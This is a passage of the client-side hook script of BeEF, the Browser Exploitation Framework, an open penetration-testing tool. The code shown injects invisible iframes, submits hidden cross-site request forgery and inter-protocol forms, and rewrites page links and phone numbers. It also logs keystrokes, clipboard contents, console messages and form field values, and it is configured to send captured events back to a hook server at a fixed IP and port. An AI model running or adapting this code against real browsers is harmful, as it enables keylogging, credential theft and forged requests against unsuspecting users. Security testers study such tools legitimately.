  7543. if(MobileEsp.DetectBlackBerryHigh()) { return "BlackBerry OS 5"};
  7544. if(MobileEsp.DetectBlackBerry()) { return "BlackBerry"};
  7545. if(MobileEsp.DetectPalmOS()) { return "Palm OS"};
  7546. if(MobileEsp.DetectPalmWebOS()) { return "Palm Web OS"};
  7547. if(MobileEsp.DetectGarminNuvifone()) { return "Gamin Nuvifone"};
  7548. if(MobileEsp.DetectArchos()) { return "Archos"}
  7549. if(MobileEsp.DetectBrewDevice()) { return "Brew"};
  7550. if(MobileEsp.DetectDangerHiptop()) { return "Danger Hiptop"};
  7551. if(MobileEsp.DetectMaemoTablet()) { return "Maemo Tablet"};
  7552. if(MobileEsp.DetectSonyMylo()) { return "Sony Mylo"};
  7553. if(MobileEsp.DetectAmazonSilk()) { return "Kindle Fire"};
  7554. if(MobileEsp.DetectKindle()) { return "Kindle"};
  7555. if(MobileEsp.DetectSonyPlaystation()) { return "Playstation"};
  7556. if(ua.search(MobileEsp.deviceNintendoDs) > -1) { return "Nintendo DS"};
  7557. if(ua.search(MobileEsp.deviceWii) > -1) { return "Nintendo Wii"};
  7558. if(ua.search(MobileEsp.deviceNintendo) > -1) { return "Nintendo"};
  7559. if(MobileEsp.DetectXbox()) { return "Xbox"};
  7560. if(this.isLaptop()) { return "Laptop"};
  7561. if(this.isVirtualMachine()) { return "Virtual Machine"};
  7562.  
  7563. return 'Unknown';
  7564. }
  7565. };
  7566.  
  7567. beef.regCmp('beef.hardware');
  7568.  
  7569.  
  7570. //
  7571. // Copyright (c) 2006-2018 Wade Alcorn - wade@bindshell.net
  7572. // Browser Exploitation Framework (BeEF) - http://beefproject.com
  7573. // See the file 'doc/COPYING' for copying permission
  7574. //
  7575.  
  7576. /*!
  7577. * @literal object: beef.dom
  7578. *
  7579. * Provides functionality to manipulate the DOM.
  7580. */
  7581. beef.dom = {
  7582.  
  7583. /**
  7584. * Generates a random ID for HTML elements
  7585. * @param: {String} prefix: a custom prefix before the random id. defaults to "beef-"
  7586. * @return: generated id
  7587. */
  7588. generateID: function(prefix) {
  7589. return ((prefix == null) ? 'beef-' : prefix)+Math.floor(Math.random()*99999);
  7590. },
  7591.  
  7592. /**
  7593. * Creates a new element but does not append it to the DOM.
  7594. * @param: {String} the name of the element.
  7595. * @param: {Literal Object} the attributes of that element.
  7596. * @return: the created element.
  7597. */
  7598. createElement: function(type, attributes) {
  7599. var el = document.createElement(type);
  7600.  
  7601. for(index in attributes) {
  7602. if(typeof attributes[index] == 'string') {
  7603. el.setAttribute(index, attributes[index]);
  7604. }
  7605. }
  7606.  
  7607. return el;
  7608. },
  7609.  
  7610. /**
  7611. * Removes element from the DOM.
  7612. * @param: {String or DOM Object} the target element to be removed.
  7613. */
  7614. removeElement: function(el) {
  7615. if (!beef.dom.isDOMElement(el))
  7616. {
  7617. el = document.getElementById(el);
  7618. }
  7619. try {
  7620. el.parentNode.removeChild(el);
  7621. } catch (e) { }
  7622. },
  7623.  
  7624. /**
  7625. * Tests if the object is a DOM element.
  7626. * @param: {Object} the DOM element.
  7627. * @return: true if the object is a DOM element.
  7628. */
  7629. isDOMElement: function(obj) {
  7630. return (obj.nodeType) ? true : false;
  7631. },
  7632.  
  7633. /**
  7634. * Creates an invisible iframe on the hook browser's page.
  7635. * @return: the iframe.
  7636. */
  7637. createInvisibleIframe: function() {
  7638. var iframe = this.createElement('iframe', {
  7639. width: '1px',
  7640. height: '1px',
  7641. style: 'visibility:hidden;'
  7642. });
  7643.  
  7644. document.body.appendChild(iframe);
  7645.  
  7646. return iframe;
  7647. },
  7648.  
  7649. /**
  7650. * Returns the highest current z-index
  7651. * @param: {Boolean} whether to return an associative array with the height AND the ID of the element
  7652. * @return: {Integer} Highest z-index in the DOM
  7653. * OR
  7654. * @return: {Hash} A hash with the height and the ID of the highest element in the DOM {'height': INT, 'elem': STRING}
  7655. */
  7656. getHighestZindex: function(include_id) {
  7657. var highest = {'height':0, 'elem':''};
  7658. $j('*').each(function() {
  7659. var current_high = parseInt($j(this).css("zIndex"),10);
  7660. if (current_high > highest.height) {
  7661. highest.height = current_high;
  7662. highest.elem = $j(this).attr('id');
  7663. }
  7664. });
  7665.  
  7666. if (include_id) {
  7667. return highest;
  7668. } else {
  7669. return highest.height;
  7670. }
  7671. },
  7672.  
  7673. /**
  7674. * Create an iFrame element and prepend to document body. URI passed via 'src' property of function's 'params' parameter
  7675. * is assigned to created iframe tag's src attribute resulting in GET request to that URI.
  7676. * example usage in the code: beef.dom.createIframe('fullscreen', {'src':$j(this).attr('href')}, {}, null);
  7677. * @param: {String} type: can be 'hidden' or 'fullScreen'. defaults to normal
  7678. * @param: {Hash} params: list of params that will be sent in request.
  7679. * @param: {Hash} styles: css styling attributes, these are merged with the defaults specified in the type parameter
  7680. * @param: {Function} a callback function to fire once the iFrame has loaded
  7681. * @return: {Object} the inserted iFrame
  7682. *
  7683. */
  7684. createIframe: function(type, params, styles, onload) {
  7685. var css = {};
  7686.  
  7687. if (type == 'hidden') {
  7688. css = $j.extend(true, {'border':'none', 'width':'1px', 'height':'1px', 'display':'none', 'visibility':'hidden'}, styles);
  7689. } else if (type == 'fullscreen') {
  7690. css = $j.extend(true, {'border':'none', 'background-color':'white', 'width':'100%', 'height':'100%', 'position':'absolute', 'top':'0px', 'left':'0px', 'z-index':beef.dom.getHighestZindex()+1}, styles);
  7691. $j('body').css({'padding':'0px', 'margin':'0px'});
  7692. } else {
  7693. css = styles;
  7694. $j('body').css({'padding':'0px', 'margin':'0px'});
  7695. }
  7696. var iframe = $j('<iframe />').attr(params).css(css).load(onload).prependTo('body');
  7697.  
  7698. return iframe;
  7699. },
  7700.  
  7701. /**
  7702. * Load the link (href value) in an overlay foreground iFrame.
  7703. * The BeEF hook continues to run in background.
  7704. * NOTE: if the target link is returning X-Frame-Options deny/same-origin or uses
  7705. * Framebusting techniques, this will not work.
  7706. */
  7707. persistentIframe: function(){
  7708. $j('a').click(function(e) {
  7709. if ($j(this).attr('href') != '')
  7710. {
  7711. e.preventDefault();
  7712. beef.dom.createIframe('fullscreen', {'src':$j(this).attr('href')}, {}, null);
  7713. $j(document).attr('title', $j(this).html());
  7714. document.body.scroll = "no";
  7715. document.documentElement.style.overflow = 'hidden';
  7716. }
  7717. });
  7718. },
  7719.  
  7720. /**
  7721. * Load a full screen div that is black, or, transparent
  7722. * @param: {Boolean} vis: whether or not you want the screen dimmer enabled or not
  7723. * @param: {Hash} options: a collection of options to customise how the div is configured, as follows:
  7724. * opacity:0-100 // Lower number = less grayout higher = more of a blackout
  7725. * // By default this is 70
  7726. * zindex: # // HTML elements with a higher zindex appear on top of the gray out
  7727. * // By default this will use beef.dom.getHighestZindex to always go to the top
  7728. * bgcolor: (#xxxxxx) // Standard RGB Hex color code
  7729. * // By default this is #000000
  7730. */
  7731. grayOut: function(vis, options) {
  7732. // in any order. Pass only the properties you need to set.
  7733. var options = options || {};
  7734. var zindex = options.zindex || beef.dom.getHighestZindex()+1;
  7735. var opacity = options.opacity || 70;
  7736. var opaque = (opacity / 100);
  7737. var bgcolor = options.bgcolor || '#000000';
  7738. var dark=document.getElementById('darkenScreenObject');
  7739. if (!dark) {
  7740. // The dark layer doesn't exist, it's never been created. So we'll
  7741. // create it here and apply some basic styles.
  7742. // If you are getting errors in IE see: http://support.microsoft.com/default.aspx/kb/927917
  7743. var tbody = document.getElementsByTagName("body")[0];
  7744. var tnode = document.createElement('div'); // Create the layer.
  7745. tnode.style.position='absolute'; // Position absolutely
  7746. tnode.style.top='0px'; // In the top
  7747. tnode.style.left='0px'; // Left corner of the page
  7748. tnode.style.overflow='hidden'; // Try to avoid making scroll bars
  7749. tnode.style.display='none'; // Start out Hidden
  7750. tnode.id='darkenScreenObject'; // Name it so we can find it later
  7751. tbody.appendChild(tnode); // Add it to the web page
  7752. dark=document.getElementById('darkenScreenObject'); // Get the object.
  7753. }
  7754. if (vis) {
  7755. // Calculate the page width and height
  7756. if( document.body && ( document.body.scrollWidth || document.body.scrollHeight ) ) {
  7757. var pageWidth = document.body.scrollWidth+'px';
  7758. var pageHeight = document.body.scrollHeight+'px';
  7759. } else if( document.body.offsetWidth ) {
  7760. var pageWidth = document.body.offsetWidth+'px';
  7761. var pageHeight = document.body.offsetHeight+'px';
  7762. } else {
  7763. var pageWidth='100%';
  7764. var pageHeight='100%';
  7765. }
  7766. //set the shader to cover the entire page and make it visible.
  7767. dark.style.opacity=opaque;
  7768. dark.style.MozOpacity=opaque;
  7769. dark.style.filter='alpha(opacity='+opacity+')';
  7770. dark.style.zIndex=zindex;
  7771. dark.style.backgroundColor=bgcolor;
  7772. dark.style.width= pageWidth;
  7773. dark.style.height= pageHeight;
  7774. dark.style.display='block';
  7775. } else {
  7776. dark.style.display='none';
  7777. }
  7778. },
  7779.  
  7780. /**
  7781. * Remove all external and internal stylesheets from the current page - sometimes prior to socially engineering,
  7782. * or, re-writing a document this is useful.
  7783. */
  7784. removeStylesheets: function() {
  7785. $j('link[rel=stylesheet]').remove();
  7786. $j('style').remove();
  7787. },
  7788.  
  7789. /**
  7790. * Create a form element with the specified parameters, appending it to the DOM if append == true
  7791. * @param: {Hash} params: params to be applied to the form element
  7792. * @param: {Boolean} append: automatically append the form to the body
  7793. * @return: {Object} a form object
  7794. */
  7795. createForm: function(params, append) {
  7796. var form = $j('<form></form>').attr(params);
  7797. if (append)
  7798. $j('body').append(form);
  7799. return form;
  7800. },
  7801.  
  7802. loadScript: function(url) {
  7803. var s = document.createElement('script');
  7804. s.type = 'text/javascript';
  7805. s.src = url;
  7806. $j('body').append(s);
  7807. },
  7808.  
  7809. /**
  7810. * Get the location of the current page.
  7811. * @return: the location.
  7812. */
  7813. getLocation: function() {
  7814. return document.location.href;
  7815. },
  7816.  
  7817. /**
  7818. * Get links of the current page.
  7819. * @return: array of URLs.
  7820. */
  7821. getLinks: function() {
  7822. var linksarray = [];
  7823. var links = document.links;
  7824. for(var i = 0; i<links.length; i++) {
  7825. linksarray = linksarray.concat(links[i].href)
  7826. };
  7827. return linksarray
  7828. },
  7829.  
  7830. /**
  7831. * Rewrites all links matched by selector to url, also rebinds the click method to simply return true
  7832. * @param: {String} url: the url to be rewritten
  7833. * @param: {String} selector: the jquery selector statement to use, defaults to all a tags.
  7834. * @return: {Number} the amount of links found in the DOM and rewritten.
  7835. */
  7836. rewriteLinks: function(url, selector) {
  7837. var sel = (selector == null) ? 'a' : selector;
  7838. return $j(sel).each(function() {
  7839. if ($j(this).attr('href') != null)
  7840. {
  7841. $j(this).attr('href', url).click(function() { return true; });
  7842. }
  7843. }).length;
  7844. },
  7845.  
  7846. /**
  7847. * Rewrites all links matched by selector to url, leveraging Bilawal Hameed's hidden click event overwriting.
  7848. * http://bilaw.al/2013/03/17/hacking-the-a-tag-in-100-characters.html
  7849. * @param: {String} url: the url to be rewritten
  7850. * @param: {String} selector: the jquery selector statement to use, defaults to all a tags.
  7851. * @return: {Number} the amount of links found in the DOM and rewritten.
  7852. */
  7853. rewriteLinksClickEvents: function(url, selector) {
  7854. var sel = (selector == null) ? 'a' : selector;
  7855. return $j(sel).each(function() {
  7856. if ($j(this).attr('href') != null)
  7857. {
  7858. $j(this).click(function() {this.href=url});
  7859. }
  7860. }).length;
  7861. },
  7862.  
  7863. /**
  7864. * Parse all links in the page matched by the selector, replacing old_protocol with new_protocol (ex.:https with http)
  7865. * @param: {String} old_protocol: the old link protocol to be rewritten
  7866. * @param: {String} new_protocol: the new link protocol to be written
  7867. * @param: {String} selector: the jquery selector statement to use, defaults to all a tags.
  7868. * @return: {Number} the amount of links found in the DOM and rewritten.
  7869. */
  7870. rewriteLinksProtocol: function(old_protocol, new_protocol, selector) {
  7871.  
  7872. var count = 0;
  7873. var re = new RegExp(old_protocol+"://", "gi");
  7874. var sel = (selector == null) ? 'a' : selector;
  7875.  
  7876. $j(sel).each(function() {
  7877. if ($j(this).attr('href') != null) {
  7878. var url = $j(this).attr('href');
  7879. if (url.match(re)) {
  7880. $j(this).attr('href', url.replace(re, new_protocol+"://")).click(function() { return true; });
  7881. count++;
  7882. }
  7883. }
  7884. });
  7885.  
  7886. return count;
  7887. },
  7888.  
  7889. /**
  7890. * Parse all links in the page matched by the selector, replacing all telephone urls ('tel' protocol handler) with a new telephone number
  7891. * @param: {String} new_number: the new link telephone number to be written
  7892. * @param: {String} selector: the jquery selector statement to use, defaults to all a tags.
  7893. * @return: {Number} the amount of links found in the DOM and rewritten.
  7894. */
  7895. rewriteTelLinks: function(new_number, selector) {
  7896.  
  7897. var count = 0;
  7898. var re = new RegExp("tel:/?/?.*", "gi");
  7899. var sel = (selector == null) ? 'a' : selector;
  7900.  
  7901. $j(sel).each(function() {
  7902. if ($j(this).attr('href') != null) {
  7903. var url = $j(this).attr('href');
  7904. if (url.match(re)) {
  7905. $j(this).attr('href', url.replace(re, "tel:"+new_number)).click(function() { return true; });
  7906. count++;
  7907. }
  7908. }
  7909. });
  7910.  
  7911. return count;
  7912. },
  7913.  
  7914. /**
  7915. * Given an array of objects (key/value), return a string of param tags ready to append in applet/object/embed
  7916. * @params: {Array} an array of params for the applet, ex.: [{'argc':'5', 'arg0':'ReverseTCP'}]
  7917. * @return: {String} the parameters as a string ready to append to applet/embed/object tags (ex.: <param name='abc' value='test' />).
  7918. */
  7919. parseAppletParams: function(params){
  7920. var result = '';
  7921. for (i in params){
  7922. var param = params[i];
  7923. for(key in param){
  7924. result += "<param name='" + key + "' value='" + param[key] + "' />";
  7925. }
  7926. }
  7927. return result;
  7928. },
  7929.  
  7930. /**
  7931. * Attach an applet to the DOM, using the best approach for differet browsers (object/applet/embed).
  7932. * example usage in the code, using a JAR archive (recommended and faster):
  7933. * beef.dom.attachApplet('appletId', 'appletName', 'SuperMario3D.class', null, 'http://127.0.0.1:3000/ui/media/images/target.jar', [{'param1':'1', 'param2':'2'}]);
  7934. * example usage in the code, using codebase:
  7935. * beef.dom.attachApplet('appletId', 'appletName', 'SuperMario3D', 'http://127.0.0.1:3000/', null, null);
  7936. * @params: {String} id: reference identifier to the applet.
  7937. * @params: {String} code: name of the class to be loaded. For example, beef.class.
  7938. * @params: {String} codebase: the URL of the codebase (usually used when loading a single class for an unsigned applet).
  7939. * @params: {String} archive: the jar that contains the code.
  7940. * @params: {String} params: an array of additional params that the applet except.
  7941. */
  7942. attachApplet: function(id, name, code, codebase, archive, params) {
  7943. var content = null;
  7944. if (beef.browser.isIE()) {
  7945. content = "" + // the classid means 'use the latest JRE available to launch the applet'
  7946. "<object id='" + id + "'classid='clsid:8AD9C840-044E-11D1-B3E9-00805F499D93' " +
  7947. "height='0' width='0' name='" + name + "'> " +
  7948. "<param name='code' value='" + code + "' />";
  7949.  
  7950. if (codebase != null) {
  7951. content += "<param name='codebase' value='" + codebase + "' />"
  7952. }
  7953. if (archive != null){
  7954. content += "<param name='archive' value='" + archive + "' />";
  7955. }
  7956. if (params != null) {
  7957. content += beef.dom.parseAppletParams(params);
  7958. }
  7959. content += "</object>";
  7960. }
  7961. if (beef.browser.isC() || beef.browser.isS() || beef.browser.isO() || beef.browser.isFF()) {
  7962.  
  7963. if (codebase != null) {
  7964. content = "" +
  7965. "<applet id='" + id + "' code='" + code + "' " +
  7966. "codebase='" + codebase + "' " +
  7967. "height='0' width='0' name='" + name + "'>";
  7968. } else {
  7969. content = "" +
  7970. "<applet id='" + id + "' code='" + code + "' " +
  7971. "archive='" + archive + "' " +
  7972. "height='0' width='0' name='" + name + "'>";
  7973. }
  7974.  
  7975. if (params != null) {
  7976. content += beef.dom.parseAppletParams(params);
  7977. }
  7978. content += "</applet>";
  7979. }
  7980. // For some reasons JavaPaylod is not working if the applet is attached to the DOM with the embed tag rather than the applet tag.
  7981. // if (beef.browser.isFF()) {
  7982. // if (codebase != null) {
  7983. // content = "" +
  7984. // "<embed id='" + id + "' code='" + code + "' " +
  7985. // "type='application/x-java-applet' codebase='" + codebase + "' " +
  7986. // "height='0' width='0' name='" + name + "'>";
  7987. // } else {
  7988. // content = "" +
  7989. // "<embed id='" + id + "' code='" + code + "' " +
  7990. // "type='application/x-java-applet' archive='" + archive + "' " +
  7991. // "height='0' width='0' name='" + name + "'>";
  7992. // }
  7993. //
  7994. // if (params != null) {
  7995. // content += beef.dom.parseAppletParams(params);
  7996. // }
  7997. // content += "</embed>";
  7998. // }
  7999. $j('body').append(content);
  8000. },
  8001.  
  8002. /**
  8003. * Given an id, remove the applet from the DOM.
  8004. * @params: {String} id: reference identifier to the applet.
  8005. */
  8006. detachApplet: function(id) {
  8007. $j('#' + id + '').detach();
  8008. },
  8009.  
  8010. /**
  8011. * Create an invisible iFrame with a form inside, and submit it. Useful for XSRF attacks delivered via POST requests.
  8012. * @params: {String} action: the form action attribute, where the request will be sent.
  8013. * @params: {String} method: HTTP method, usually POST.
  8014. * @params: {String} enctype: form encoding type
  8015. * @params: {Array} inputs: an array of inputs to be added to the form (type, name, value).
  8016. * example: [{'type':'hidden', 'name':'1', 'value':''} , {'type':'hidden', 'name':'2', 'value':'3'}]
  8017. */
  8018. createIframeXsrfForm: function(action, method, enctype, inputs){
  8019. var iframeXsrf = beef.dom.createInvisibleIframe();
  8020.  
  8021. var formXsrf = document.createElement('form');
  8022. formXsrf.setAttribute('action', action);
  8023. formXsrf.setAttribute('method', method);
  8024. formXsrf.setAttribute('enctype', enctype);
  8025.  
  8026. var input = null;
  8027. for (i in inputs){
  8028. var attributes = inputs[i];
  8029. input = document.createElement('input');
  8030. for(key in attributes){
  8031. if (key == 'name' && attributes[key] == 'submit') {
  8032. // workaround for https://github.com/beefproject/beef/issues/1117
  8033. beef.debug("createIframeXsrfForm - warning: changed form input 'submit' to 'Submit'");
  8034. input.setAttribute('Submit', attributes[key]);
  8035. } else {
  8036. input.setAttribute(key, attributes[key]);
  8037. }
  8038. }
  8039. formXsrf.appendChild(input);
  8040. }
  8041. iframeXsrf.contentWindow.document.body.appendChild(formXsrf);
  8042. formXsrf.submit();
  8043.  
  8044. return iframeXsrf;
  8045. },
  8046.  
  8047. /**
  8048. * Create an invisible iFrame with a form inside, and POST the form in plain-text. Used for inter-protocol exploitation.
  8049. * @params: {String} rhost: remote host ip/domain
  8050. * @params: {String} rport: remote port
  8051. * @params: {String} commands: protocol commands to be executed by the remote host:port service
  8052. */
  8053. createIframeIpecForm: function(rhost, rport, path, commands){
  8054. var iframeIpec = beef.dom.createInvisibleIframe();
  8055.  
  8056. var formIpec = document.createElement('form');
  8057. formIpec.setAttribute('action', 'http://'+rhost+':'+rport+path);
  8058. formIpec.setAttribute('method', 'POST');
  8059. formIpec.setAttribute('enctype', 'multipart/form-data');
  8060.  
  8061. input = document.createElement('textarea');
  8062. input.setAttribute('name', Math.random().toString(36).substring(5));
  8063. input.value = commands;
  8064. formIpec.appendChild(input);
  8065. iframeIpec.contentWindow.document.body.appendChild(formIpec);
  8066. formIpec.submit();
  8067.  
  8068. return iframeIpec;
  8069. }
  8070.  
  8071. };
  8072.  
  8073. beef.regCmp('beef.dom');
  8074.  
  8075.  
  8076. //
  8077. // Copyright (c) 2006-2018 Wade Alcorn - wade@bindshell.net
  8078. // Browser Exploitation Framework (BeEF) - http://beefproject.com
  8079. // See the file 'doc/COPYING' for copying permission
  8080. //
  8081.  
  8082. /*!
  8083. * @literal object: beef.logger
  8084. *
  8085. * Provides logging capabilities.
  8086. */
  8087. beef.logger = {
  8088.  
  8089. running: false,
  8090. /**
  8091. * Internal logger id
  8092. */
  8093. id: 0,
  8094. /**
  8095. * Holds events created by user, to be sent back to BeEF
  8096. */
  8097. events: [],
  8098. /**
  8099. * Holds current stream of key presses
  8100. */
  8101. stream: [],
  8102. /**
  8103. * Contains current target of key presses
  8104. */
  8105. target: null,
  8106. /**
  8107. * Holds the time the logger was started
  8108. */
  8109. time: null,
  8110. /**
  8111. * Holds the event details to be sent to BeEF
  8112. */
  8113. e: function() {
  8114. this.id = beef.logger.get_id();
  8115. this.time = beef.logger.get_timestamp();
  8116. this.type = null;
  8117. this.x = 0;
  8118. this.y = 0;
  8119. this.target = null;
  8120. this.data = null;
  8121. this.mods = null;
  8122. },
  8123. /**
  8124. * Prevents from recursive event handling on form submission
  8125. */
  8126. in_submit: false,
  8127.  
  8128. /**
  8129. * Starts the logger
  8130. */
  8131. start: function() {
  8132.  
  8133. beef.browser.hookChildFrames();
  8134. this.running = true;
  8135. var d = new Date();
  8136. this.time = d.getTime();
  8137.  
  8138. $j(document).off('keypress');
  8139. $j(document).off('click');
  8140. $j(window).off('focus');
  8141. $j(window).off('blur');
  8142. $j('form').off('submit');
  8143. $j(document.body).off('copy');
  8144. $j(document.body).off('cut');
  8145. $j(document.body).off('paste');
  8146.  
  8147. if (!!window.console && typeof window.console == "object") {
  8148. try {
  8149. var oldInfo = window.console.info;
  8150. console.info = function (message) {
  8151. beef.logger.console('info', message);
  8152. oldInfo.apply(console, arguments);
  8153. };
  8154. var oldLog = window.console.log;
  8155. console.log = function (message) {
  8156. beef.logger.console('log', message);
  8157. oldLog.apply(console, arguments);
  8158. };
  8159. var oldWarn = window.console.warn;
  8160. console.warn = function (message) {
  8161. beef.logger.console('warn', message);
  8162. oldWarn.apply(console, arguments);
  8163. };
  8164. var oldDebug = window.console.debug;
  8165. console.debug = function (message) {
  8166. beef.logger.console('debug', message);
  8167. oldDebug.apply(console, arguments);
  8168. };
  8169. var oldError = window.console.error;
  8170. console.error = function (message) {
  8171. beef.logger.console('error', message);
  8172. oldError.apply(console, arguments);
  8173. };
  8174. } catch(e) {}
  8175. }
  8176.  
  8177. $j(document).keypress(
  8178. function(e) { beef.logger.keypress(e); }
  8179. ).click(
  8180. function(e) { beef.logger.click(e); }
  8181. );
  8182. $j(window).focus(
  8183. function(e) { beef.logger.win_focus(e); }
  8184. ).blur(
  8185. function(e) { beef.logger.win_blur(e); }
  8186. );
  8187. $j('form').submit(
  8188. function(e) {
  8189. beef.logger.submit(e);
  8190. }
  8191. );
  8192. $j(document.body).on('copy', function() {
  8193. setTimeout("beef.logger.copy();", 10);
  8194. });
  8195. $j(document.body).on('cut', function() {
  8196. setTimeout("beef.logger.cut();", 10);
  8197. });
  8198. $j(document.body).on('paste', function() {
  8199. beef.logger.paste();
  8200. });
  8201. },
  8202.  
  8203. /**
  8204. * Stops the logger
  8205. */
  8206. stop: function() {
  8207. this.running = false;
  8208. clearInterval(this.timer);
  8209. $j(document).off('keypress');
  8210. $j(document).off('click');
  8211. $j(window).off('focus');
  8212. $j(window).off('blur');
  8213. $j('form').off('submit');
  8214. $j(document.body).off('copy');
  8215. $j(document.body).off('cut');
  8216. $j(document.body).off('paste');
  8217. // TODO: reset console
  8218. },
  8219.  
  8220. /**
  8221. * Get id
  8222. */
  8223. get_id: function() {
  8224. this.id++;
  8225. return this.id;
  8226. },
  8227.  
  8228. /**
  8229. * Click function fires when the user clicks the mouse.
  8230. */
  8231. click: function(e) {
  8232. var c = new beef.logger.e();
  8233. c.type = 'click';
  8234. c.x = e.pageX;
  8235. c.y = e.pageY;
  8236. c.target = beef.logger.get_dom_identifier(e.target);
  8237. this.events.push(c);
  8238. },
  8239.  
  8240. /**
  8241. * Fires when the window element has regained focus
  8242. */
  8243. win_focus: function(e) {
  8244. var f = new beef.logger.e();
  8245. f.type = 'focus';
  8246. this.events.push(f);
  8247. },
  8248.  
  8249. /**
  8250. * Fires when the window element has lost focus
  8251. */
  8252. win_blur: function(e) {
  8253. var b = new beef.logger.e();
  8254. b.type = 'blur';
  8255. this.events.push(b);
  8256. },
  8257.  
  8258. /**
  8259. * Keypress function fires everytime a key is pressed.
  8260. * @param {Object} e: event object
  8261. */
  8262. keypress: function(e) {
  8263. if (this.target == null || ($j(this.target).get(0) !== $j(e.target).get(0)))
  8264. {
  8265. beef.logger.push_stream();
  8266. this.target = e.target;
  8267. }
  8268. this.stream.push({'char':e.which, 'modifiers': {'alt':e.altKey, 'ctrl':e.ctrlKey, 'shift':e.shiftKey}});
  8269. },
  8270.  
  8271. /**
  8272. * Copy function fires when the user copies data to the clipboard.
  8273. */
  8274. copy: function(x) {
  8275. try {
  8276. var c = new beef.logger.e();
  8277. c.type = 'copy';
  8278. c.data = clipboardData.getData("Text");
  8279. this.events.push(c);
  8280. } catch(e) {}
  8281. },
  8282.  
  8283. /**
  8284. * Cut function fires when the user cuts data to the clipboard.
  8285. */
  8286. cut: function() {
  8287. try {
  8288. var c = new beef.logger.e();
  8289. c.type = 'cut';
  8290. c.data = clipboardData.getData("Text");
  8291. this.events.push(c);
  8292. } catch(e) {}
  8293. },
  8294.  
  8295. /**
  8296. * Console function fires when data is sent to the browser console.
  8297. */
  8298. console: function(type, message) {
  8299. try {
  8300. var c = new beef.logger.e();
  8301. c.type = 'console';
  8302. c.data = type + ': ' + message;
  8303. this.events.push(c);
  8304. } catch(e) {}
  8305. },
  8306.  
  8307. /**
  8308. * Paste function fires when the user pastes data from the clipboard.
  8309. */
  8310. paste: function() {
  8311. try {
  8312. var c = new beef.logger.e();
  8313. c.type = 'paste';
  8314. c.data = clipboardData.getData("Text");
  8315. this.events.push(c);
  8316. } catch(e) {}
  8317. },
  8318.  
  8319. /**
  8320. * Submit function fires whenever a form is submitted
  8321. * TODO: Cleanup this function
  8322. */
  8323. submit: function(e) {
  8324. if (beef.logger.in_submit) {
  8325. return true;
  8326. }
  8327. try {
  8328. var f = new beef.logger.e();
  8329. f.type = 'submit';
  8330. f.target = beef.logger.get_dom_identifier(e.target);
  8331. var jqForms = $j(e.target);
  8332. var values = jqForms.find('input').map(function() {
  8333. var inp = $j(this);
  8334. return inp.attr('name') + '=' + inp.val();
  8335. }).get().join();
  8336. beef.debug('submitting form inputs: ' + values);
  8337. /*
  8338. for (var i = 0; i < e.target.elements.length; i++) {
  8339. values += "["+i+"] "+e.target.elements[i].name+"="+e.target.elements[i].value+"\n";
  8340. }
  8341. */
  8342. f.data = 'Action: '+jqForms.attr('action')+' - Method: '+$j(e.target).attr('method') + ' - Values:\n'+values;
  8343. this.events.push(f);
  8344. this.queue();
  8345. this.target = null;
  8346. beef.net.flush(function done() {
  8347. beef.debug("Submitting the form");
  8348. beef.logger.in_submit = true;
  8349. jqForms.submit();
  8350. beef.logger.in_submit = false;
  8351. beef.debug("Done submitting");
  8352. });
  8353. e.preventDefault();
  8354. return false;
  8355. } catch(e) {}
  8356. },
  8357.  
  8358. /**
  8359. * Pushes the current stream to the events queue
  8360. */
  8361. push_stream: function() {
  8362. if (this.stream.length > 0)
  8363. {
  8364. this.events.push(beef.logger.parse_stream());
  8365. this.stream = [];
  8366. }
  8367. },
  8368.  
  8369. /**
  8370. * Translate DOM Object to a readable string
  8371. */
  8372. get_dom_identifier: function(target) {
  8373. target = (target == null) ? this.target : target;
  8374. var id = '';
  8375. if (target)
  8376. {
  8377. id = target.tagName.toLowerCase();
  8378. id += ($j(target).attr('id')) ? '#'+$j(target).attr('id') : ' ';
  8379. id += ($j(target).attr('name')) ? '('+$j(target).attr('name')+')' : '';
  8380. }
  8381. return id;
  8382. },
  8383.  
  8384. /**
  8385. * Formats the timestamp
  8386. * @return {String} timestamp string
  8387. */
  8388. get_timestamp: function() {
  8389. var d = new Date();
  8390. return ((d.getTime() - this.time) / 1000).toFixed(3);
  8391. },
  8392.  
  8393. /**
  8394. * Parses stream array and creates history string
  8395. */
  8396. parse_stream: function() {
  8397. var s = '';
  8398. var mods = '';
  8399. for (var i in this.stream){
  8400. try{
  8401. var mod = this.stream[i]['modifiers'];
  8402. s += String.fromCharCode(this.stream[i]['char']);
  8403. if(typeof mod != 'undefined' &&
  8404. (mod['alt'] == true ||
  8405. mod['ctrl'] == true ||
  8406. mod['shift'] == true)){
  8407. mods += (mod['alt']) ? ' [Alt] ' : '';
  8408. mods += (mod['ctrl']) ? ' [Ctrl] ' : '';
  8409. mods += (mod['shift']) ? ' [Shift] ' : '';
  8410. mods += String.fromCharCode(this.stream[i]['char']);
  8411. }
  8412.  
  8413. }catch(e){}
  8414. }
  8415. var k = new beef.logger.e();
  8416. k.type = 'keys';
  8417. k.target = beef.logger.get_dom_identifier();
  8418. k.data = s;
  8419. k.mods = mods;
  8420. return k;
  8421. },
  8422.  
  8423. /**
  8424. * Queue results to be sent back to framework
  8425. */
  8426. queue: function() {
  8427. beef.logger.push_stream();
  8428. if (this.events.length > 0)
  8429. {
  8430. beef.net.queue('/event', 0, this.events);
  8431. this.events = [];
  8432. }
  8433. }
  8434.  
  8435. };
  8436.  
  8437. beef.regCmp('beef.logger');
  8438.  
  8439.  
  8440. //
  8441. // Copyright (c) 2006-2018 Wade Alcorn - wade@bindshell.net
  8442. // Browser Exploitation Framework (BeEF) - http://beefproject.com
  8443. // See the file 'doc/COPYING' for copying permission
  8444. //
  8445.  
  8446. /*!
  8447. * @literal object: beef.net
  8448. *
  8449. * Provides basic networking functions,
  8450. * like beef.net.request and beef.net.forgeRequest,
  8451. * used by BeEF command modules and the Requester extension,
  8452. * as well as beef.net.send which is used to return commands
  8453. * to BeEF server-side components.
  8454. *
  8455. * Also, it contains the core methods used by the XHR-polling
  8456. * mechanism (flush, queue)
  8457. */
  8458. beef.net = {
  8459.  
  8460. host: "10.0.2.15",
  8461. port: "3000",
  8462. hook: "/hook.js",
  8463. httpproto: "http",
  8464. handler: '/dh',
  8465. chop: 500,
  8466. pad: 30, //this is the amount of padding for extra params such as pc, pid and sid
  8467. sid_count: 0,
  8468. cmd_queue: [],
  8469.  
  8470. /**
  8471. * Command object. This represents the data to be sent back to BeEF,
  8472. * using the beef.net.send() method.
  8473. */
  8474. command: function () {
  8475. this.cid = null;
  8476. this.results = null;
  8477. this.status = null;
  8478. this.handler = null;
  8479. this.callback = null;
  8480. },
  8481.  
  8482. /**
